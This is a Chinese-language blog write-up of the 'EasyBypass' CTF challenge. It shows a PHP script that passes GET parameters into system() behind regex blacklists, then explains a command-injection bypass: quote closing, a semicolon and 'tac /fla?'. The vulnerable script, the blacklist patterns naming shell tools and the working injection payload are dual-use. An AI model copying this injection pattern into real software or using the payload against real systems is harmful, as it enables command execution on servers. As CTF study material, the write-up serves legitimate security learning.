EasyBypass (;管道符)

<?php

highlight_file(__FILE__);

$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];


if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
    $comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
    $comm2 = "";

$flag = "#flag in /flag";

$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';

$cmd = "file $comm1 $comm2";
system($cmd);
?>

这道题第一眼我竟然觉得是原生类的题,该死。

如果是 新生类的话,system那里应该换为 new  a(b)这种的形式,

首先看最后system($cmd)这里,$cmd = "file $comm1 $comm2";,肯定要把file从命令中注释掉这种,以前接触过闭合然后自己重新构造一个🐎,但是这里好像管道符也可以使用 ;

$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';
这个也就是给传入的参数加了一个引号包起来,然后往上继续查看过滤的字符号剩下什么

if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
    $comm1 = "";

分号还有,并且tac也没 过滤,flag被过滤掉了但是可以用?模糊比较
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
    $comm2 = "";

这个 里面禁用的比较全,就不用这个了

然后我直接传入了

comm1=;tac /fla?&comm2=1
 

 

报错了查看信息是引号的问题,我们还需要闭合掉引号不然就变成了 

"   file " ;tac /fla? ;" "  1"      " 

 肯定是不对的最起码 system({"     ")引号里面是全部的东西不能分着

就需要我们自己写入闭合

comm1= ";tac /fla?;" 

"   file " ";tac /fla?;" " "  1"      " 

这样就成功闭合掉了,然后其实还有一个疑问就是我cat /f*的时候也能用,可是|\*|\

不是被过滤了吗,希望有师傅可以解答一下。

 获得flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值